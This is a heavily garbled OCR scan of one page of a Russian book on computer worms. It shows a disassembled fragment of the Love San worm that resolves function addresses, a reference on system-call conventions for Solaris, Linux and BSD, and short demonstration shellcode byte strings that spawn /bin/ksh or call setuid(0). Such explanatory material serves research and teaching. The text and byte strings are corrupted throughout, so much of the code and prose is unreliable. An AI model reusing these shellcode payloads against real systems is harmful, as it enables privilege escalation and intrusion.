Раздел: Документация
0 ... 46 47 48 49 50 51 52 ... 102 Се*Р52-~~ ент червя Love San, осуществляющий окончательное Яистииг426 огРраеДеление адреСа АРЬФУНКЦИИ 6 памяти data data data date data data data 00404?5C гш ebx. fedx+24hj 0"o4W75F add ebx. ebp 00404761 mv c*- [ebx-ecx*?] add ebx, ebp mov eax. [ebx-ecx*4j aod eax. eoo o0404765 00404768 0040476A 0040476D i памяти смешение таблиаы экспорта ординалов адрес таблицы ординалов получаек индекс в таблице адресов смешение экспортной таблицы адресов адрес экспортной табг.ицы адресов получаем смещение функции по индексу получаем адрес функции ЕАЛИЗАЦИЯ СИСТЕМНЫХ ВЫЗОВОВ В РАЗЛИЧНЫХ ОС м системных вызовов — это задний лвор операционной системы, или, . лиугоано, ее внутренняя и не всегда хорошо документированная кухня. Внут-"н червя плавают какие-то константы, команды, сложным образом манипулирующие регистрами, но физический смысл происходящего в целом остается неясным. Ниже приводится краткая справочная информация о способах реализации системных вызовов в различных ОС с указанием наиболее популярных функций, в полной мере обеспечивающих жизнедеятельность червя (материал позаимствован из статьи «UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes* от LSD Research Group, которую я всячески рекомендую всем кодоконателям и исследователям компьютерных вирусов и червей в частности). SOLARIS/SPARC (не темный вызов осуществляется через ловушку (trap), возбуждаемую специальной машинной командой ta 8. Номер системного вызова передается через адибоТ Sl 3 аРгументы ~ через регистры оО, ol, о2, оЗ и о4. Перечень номеров •>де J Се потРеляемых системных функций приведен далее (листинг 4.27), монстрационный пример shell-кода под Solaris/SPARC - в листинге 4.28. Л,СТинг4.27. «сап Номера системных вызовов в Solaris/SPARC г.ад.«91 %о0. %о]. %о2. %оЗ. %сА ехес00Bh -> path = "/bin/ksh". ~> L->aO = path.O] 0]00Вт > Dath - "/bin/ksh". -> [-»a0 = path. -»al- "-c" -»a2 - and. setuid •*dirC17h uid - 0 :,1гоо«05Dh -* Path = "b..". node = (each value is valid) -» path = "b..". "." -> path = ".." sfd. TI GE1PEERNAME = 5491h. -> [mien - 54h. len - 54h. ->sadr ct °E6h AF INO=2 S0C< STRFAM=2. orot=0. oevpath-0. S0V DEFAULT-1 Stream . 2ce8h sfd- -» sadr - -33h- 2. м.ю.о.о.о.о]. len-ioh. Mr03Dh °ctlOOCh * tl]036h продолжение & Листинг 4.27 (продолжение) listen0E9h sfd. acceptOEAh sfd. fcntl03En sfd. 0E9h sfd. backlog = 5. vers = (not required in this syscali OEAh sfd. 0. 0. vers = (not required in this syscali) 03En sfd. F 0UP2FD = 09h. fd = 0. 1. 2 Листинг 4.28. Демонстрационный пример shell-кода под Solaris/SPARC char shell code:>/* 10*4+8 bytes */ "\x20\xbf\xff\xff"/* bn.a <shellcode-4>: \ "\x20\xbf\xff\xff"/* bn.a <shellcode>: +- текущий указатель команд Bto7 "\x7f\xff\xff\xff"/* call <shellcode+4>: / "\x90\x03\xe0\x20"/* add 5to7.32.to0: в XoO указатель на /bin/ksh "\x92\x02\x20\xl0"/* add XoO.16.Xol: вSol указа!ель на свободную память "\xcO\x22\x20\xC8"/* st Xg0.[to0+8]: ставим завершающий ноль в /oin/Ksh "\xdO\x22\x20\xIC"/* st ХоО.[ХоО+16]: зануляем память по указателе %ol •\xc0\x22\x20\xl4/* st 5;gb.[XoO+20]: the same "\x82\xl0\x20\x0b"/* mov OxOb.Xgl: номер системной функции exec "\x91\xd0\x20\x08"/* ta 8: вызываем функцию exec "/bin/ksr": */ */ SOLAR IS/Х86 Системный вызов осуществляется через шлюз дальнего вызова по адресу 007:00000000 (селектор семь, смещение ноль). Номер системного вызова передается через регистр еах, а аргументы — через стек, причем самый левый аргумент заталкивается в стек последним. Стек очищает сама вызываемая функция. Номера системных вызовов в SoIaris/x86 приведены в листинге 4.29, а демонстрационный пример shell-кода под SoIaris/x86 — в листинге 4.30. Листинг 4.29. Номера системных вызовов в Solaris/x86
0.0.0.0].1en=lCh.S0V S0CKSTREAM=2, listenF9h ret. sfd. backlog = 5. vers - (not required in this sysca acceptEah ret. sfd. 0. 0. vers = (not required in this syscali) fcntl3Er ret. sfd. FJXJP2FD = 09h. fd - 0. 1. 2 Листинг 4.30. Демонстрационный пример shell-кода под Solaris/x86 char setuidcccc[]=/* 7 bytes */t "\x33\xc0"/* xorl ХеахДеах : ЕАХ := 0 ргдания shell-кода 157 /* pushl Хеах /* movb $0x17 Да1 /* call *Xesi заталкиваем в стек нуль*/ номер системной функции setuid */ setuid(O)*/ .,ff\xd6 linux/x86 nii вызов осуществляется через программное прерывание но вектору Систе-4 0уждасмое машинной инструкцией INT 80h. Номер системного вызова BOh, ч - через регистр еах, а аргументы — через регистры ebx, есх и edx (лис-"4 31) Демонстрационный пример shell-кода под Linux/x86 приведен в лизинге 4.32. Листинг 4.31- Номера системных вызовов в Linux/x86
a2 =10h] EAX := 0 EBX := 0 номер системной функции stuld setuid(O) */ */ */ */ Листинг 4.32. Демонстрационный пример shell-кода под Linux/x86 char setipdcodeO /* 8 bytes */ "\x33\xc0" /* xorl Жеах.Хеах "\x31\xdb" /* xorl Xebx.XeDx "\xb0\xl7" /* movb $0x17.Sal "\xcd\x80" /* int $0x80 pREE, NET, OPENBSD/X86 Операционные системы семейства BSD реализуют гибридный механизм вызо-васистемных функций: поддерживая как far call на адрес 0007:00000000 (толь-Ко номСра системных функций другие), так и прерывание по вектору 80п. Аргусы в обоих случаях передаются через стек (листинги 4.33 и 4.34). Л,СТинг4.33. Номера системных вызовов в BSD/X86 =хрСа1*еах stack CVe3№ ret. -» path = "//bin//sh\ -> [-» aO a2 Ve3Bh ret. -> patn = -//bin//sh". -> [-» aO спи, ci r ld17h ret. uid = 0 88h ret. -» path =• "b..". mode - (each value is vand) продолжение & ilr 0]. 0 path. al -c" 0 ... 46 47 48 49 50 51 52 ... 102
|